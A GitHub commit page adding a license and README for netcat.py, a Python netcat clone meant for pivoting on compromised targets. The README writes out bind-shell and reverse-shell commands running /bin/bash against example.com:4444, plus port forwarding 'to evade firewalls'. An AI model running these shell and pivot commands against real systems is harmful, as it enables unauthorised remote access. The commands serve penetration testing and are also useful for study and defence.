Skip to content

Commit b8d48c1

Browse files
committed
Initial commit
0 parents  commit b8d48c1

File tree

2 files changed

+162
-0
lines changed

2 files changed

+162
-0
lines changed

LICENSE.txt

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2020 cytopia <https://github.com/cytopia>
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

+141
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
# netcat.py
2+
3+
[![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
4+
[![PyPI](https://img.shields.io/pypi/v/netcat)](https://pypi.org/project/netcat/)
5+
[![PyPI - Status](https://img.shields.io/pypi/status/netcat)](https://pypi.org/project/netcat/)
6+
[![PyPI - Python Version](https://img.shields.io/pypi/pyversions/netcat)](https://pypi.org/project/netcat/)
7+
[![PyPI - Format](https://img.shields.io/pypi/format/netcat)](https://pypi.org/project/netcat/)
8+
[![PyPI - Implementation](https://img.shields.io/pypi/implementation/netcat)](https://pypi.org/project/netcat/)
9+
[![PyPI - License](https://img.shields.io/pypi/l/netcat)](https://pypi.org/project/netcat/)
10+
11+
[![Build Status](https://github.com/cytopia/netcat/workflows/linting/badge.svg)](https://github.com/cytopia/netcat/actions?workflow=linting)
12+
[![Build Status](https://github.com/cytopia/netcat/workflows/building/badge.svg)](https://github.com/cytopia/netcat/actions?workflow=building)
13+
14+
15+
Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.
16+
17+
**Motivation**
18+
19+
To have a single tool for older, newer, 32bit and 64bit machines with relevant options (`-e`. `-L` and `-R`) to create bind shells, local and remote port-forwards.
20+
21+
22+
## :tada: Install
23+
```bash
24+
pip install netcat
25+
```
26+
27+
28+
## :coffee: TL;DR
29+
30+
#### Copy to target
31+
```bash
32+
# Copy base64 data to clipboard from where you have internet access
33+
curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64
34+
35+
# Paste it on the target machine
36+
echo "<BASE64 STRING>" | base64 -d > netcat.py
37+
chmod +x netcat.py
38+
```
39+
#### Summon shells
40+
```bash
41+
# bind shell
42+
netcat.py -l -e '/bin/bash' 8080
43+
```
44+
```bash
45+
# reverse shell
46+
netcat.py -e '/bin/bash' example.com 4444
47+
```
48+
#### Port-forwarding without SSH
49+
```bash
50+
# Make local port available to public interface locally
51+
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306
52+
```
53+
```bash
54+
# Remote port-forwarding to evade firewalls
55+
netcat.py -R 127.0.0.1:3306 example.com 4444
56+
```
57+
58+
59+
## :computer: Usage
60+
```
61+
usage: netcat.py [-Cnuv] [-e cmd] hostname port
62+
netcat.py [-Cnuv] [-e cmd] -l [hostname] port
63+
netcat.py [-Cnuv] -L addr:port [hostname] port
64+
netcat.py [-Cnuv] -R addr:port hostname port
65+
netcat.py -V, --version
66+
netcat.py -h, --help
67+
68+
69+
Netcat implementation in Python with connect, listen and forward mode.
70+
71+
positional arguments:
72+
hostname Address to listen, forward or connect to
73+
port Port to listen, forward or connect to
74+
75+
mode arguments:
76+
-l, --listen Listen mode: Enable listen mode for inbound connects
77+
-L addr:port, --local addr:port
78+
Local forward mode: Specify local <addr>:<port> to which traffic
79+
should be forwarded to.
80+
Netcat will listen locally (specified by hostname and port) and
81+
forward all traffic to the specified value for -L/--local.
82+
-R addr:port, --remote addr:port
83+
Remote forward mode: Specify local <addr>:<port> from which traffic
84+
should be forwarded from.
85+
Netcat will connect remotely (specified by hostname and port) and
86+
for ward all traffic from the specified value for -R/--remote.
87+
88+
optional arguments:
89+
-e cmd, --exec cmd Execute shell command. Only works with connect or listen mode.
90+
-C, --crlf Send CRLF as line-endings (default: LF)
91+
-n, --nodns Do not resolve DNS
92+
-u, --udp UDP mode
93+
-v, --verbose Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.
94+
95+
misc arguments:
96+
-h, --help Show this help message and exit
97+
-V, --version Show version information and exit
98+
99+
examples:
100+
101+
Create bind shell
102+
netcat.py -l -e '/bin/bash' 8080
103+
104+
Create reverse shell
105+
netcat.py -e '/bin/bash' example.com 4444
106+
107+
Local forward: Make localhost port available to another interface
108+
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306
109+
110+
Remote forward: Forward local port to remote server
111+
netcat.py -R 127.0.0.1:3306 example.com 4444
112+
```
113+
114+
115+
## :lock: [cytopia](https://github.com/cytopia) sec tools
116+
117+
| Tool | Category | Language | Description |
118+
|------------------|----------------------|------------|-------------|
119+
| [smtp-user-enum] | Enumeration | Python 2+3 | SMTP users enumerator |
120+
| [urlbuster] | Enumeration | Python 2+3 | Mutable web directory fuzzer |
121+
| [netcat] | Pivoting | Python 2+3 | Cross-platform netcat |
122+
| [badchars] | Reverse Engineering | Python 2+3 | Badchar generator |
123+
| [fuzza] | Reverse Engineering | Python 2+3 | TCP fuzzing tool |
124+
125+
[netcat]: https://github.com/cytopia/netcat
126+
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
127+
[urlbuster]: https://github.com/cytopia/urlbuster
128+
[badchars]: https://github.com/cytopia/badchars
129+
[fuzza]: https://github.com/cytopia/fuzza
130+
131+
132+
## :exclamation: Disclaimer
133+
134+
This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
135+
136+
137+
## :page_facing_up: License
138+
139+
**[MIT License](LICENSE.txt)**
140+
141+
Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**

0 commit comments

Comments
 (0)